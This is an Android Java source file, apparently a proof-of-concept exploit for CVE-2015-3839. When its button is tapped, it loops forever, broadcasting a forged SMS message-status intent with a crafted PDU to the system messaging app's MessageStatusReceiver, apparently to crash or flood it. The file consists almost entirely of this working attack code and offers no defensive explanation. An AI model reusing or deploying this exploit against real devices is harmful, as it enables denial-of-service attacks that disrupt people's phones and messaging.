package com.cve_2015_3839;

import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.content.ServiceConnection;
import android.os.IBinder;
import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.telephony.SmsManager;
import android.util.Log;
import android.view.View;
import android.widget.Button;

import java.lang.reflect.Method;

public class MainActivity extends AppCompatActivity {



    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
//        SmsManager sm = SmsManager.getDefault();
//        Class<? extends SmsManager> c = sm.getClass();
//        Method[] ms = c.getDeclaredMethods();
//        for (int i = 0; i < ms.length; i++)
//            Log.e("ListMethods",ms[i].toString());
        Button bt = (Button) findViewById(R.id.button);
        bt.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View view) {
                for(;;)
                {
                    String pdubyte = "0091683108200505F0";
                    Intent intent = new Intent();
                    intent.putExtra("pdu", hexStringToBytes(pdubyte));
                    intent.putExtra("format", "3gpp");
                    intent.setAction("com.android.mms.transaction.MessageStatusReceiver.MESSAGE_STATUS_RECEIVED");
                    MainActivity.this.sendBroadcast(intent);
                }
            }
        });

    }


    public static byte[] hexStringToBytes(String hexString) {
        if (hexString == null || hexString.equals("")) {
            return null;
        }
        hexString = hexString.toUpperCase();
        int length = hexString.length() / 2;
        char[] hexChars = hexString.toCharArray();
        byte[] d = new byte[length];
        for (int i = 0; i < length; i++) {
            int pos = i * 2;
            d[i] = (byte) (charToByte(hexChars[pos]) << 4 | charToByte(hexChars[pos + 1]));
        }
        return d;
    }

    public static byte charToByte(char c) {
        return (byte) "0123456789ABCDEF".indexOf(c);
    }
}